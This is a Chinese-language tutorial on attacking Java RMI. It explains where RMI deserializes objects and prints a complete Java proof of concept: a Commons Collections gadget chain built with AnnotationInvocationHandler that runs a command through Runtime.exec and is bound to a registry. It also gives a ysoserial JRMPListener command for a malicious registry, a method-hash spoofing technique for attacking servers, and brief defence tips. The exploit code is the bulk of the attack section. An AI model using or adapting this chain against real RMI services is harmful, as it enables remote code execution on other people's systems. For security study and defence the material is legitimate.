RMI攻击
字数 1136 2025-08-11 21:26:18
RMI攻击原理与实战教学文档
一、RMI基础原理
1. RMI核心组件
- Stub(存根):客户端代理,负责与服务器通信
- Skeleton(骨架):服务器端代理,负责处理客户端请求
- Registry(注册表):管理远程对象引用
2. RMI工作流程
-
服务端创建并注册远程对象:
ServiceImpl service = new ServiceImpl(); Naming.bind("rmi:127.0.0.1:1099/service", service); -
客户端查找远程对象:
ServiceInterface service = (ServiceInterface)Naming.lookup("rmi://127.0.0.1:1099/service"); -
调用远程方法:
String rep = service.cxk("ctrl"); -
通信流程:
- 客户端存根与服务器骨架通信
- 骨架代理调用实际服务端方法
- 骨架返回结果给存根
- 存根返回结果给客户端
二、RMI攻击面分析
1. 反序列化入口点
- Server端:Naming.bind时Registry对service反序列化
- Client端:
- lookup时Registry对service反序列化
- 接收返回结果时反序列化
- 方法调用时:
- Server对参数反序列化
- Client对结果反序列化
三、RMI攻击实战
1. 攻击Registry端
攻击原理
利用Naming.bind绑定恶意对象触发反序列化
技术要点
- 需要将恶意对象强制转换为Remote类型
- 使用代理将AnnotationInvocationHandler包装为Remote
POC代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class RmiCC1client {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class},
getpayload()
));
Naming.rebind("rmi://192.168.0.103:1099/RemoteObject", proxyEvalObject);
}
public static InvocationHandler getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "godown");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler instance = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
return instance;
}
}
关键点说明
- 使用
Remote.class.cast强制转换代理对象为Remote类型 - 通过
Proxy.newProxyInstance创建代理对象 - 使用Commons Collections链构造反序列化payload
- 利用
AnnotationInvocationHandler触发TransformedMap的转换
2. 使用JRMP攻击注册中心
攻击方法
使用ysoserial生成恶意注册中心:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
触发条件
当server或client调用以下方法时触发:
- bind()
- lookup()
- rebind()
- unbind()
- list()
3. 客户端攻击服务端
攻击原理
- 利用远程方法参数的反序列化
- 修改Method的hash值欺骗服务端
技术要点
- 服务端通过
UnicastServerRef#dispatch处理请求 - 在
hashToMethod_Map中查找Method的hash - hash算法为SHA1
- 可通过以下方式利用:
- 调试时修改Method
- 修改字节码或流量中的method
四、防御建议
- 升级Java版本,修复已知反序列化漏洞
- 使用安全管理器限制反序列化
- 对RMI通信进行加密和认证
- 限制RMI端口的网络访问
- 使用白名单机制验证反序列化类
五、总结
RMI攻击主要利用其通信过程中的反序列化机制,通过构造恶意对象实现远程代码执行。攻击者可针对Registry、Server或Client进行攻击,防御关键在于控制反序列化过程和加强访问控制。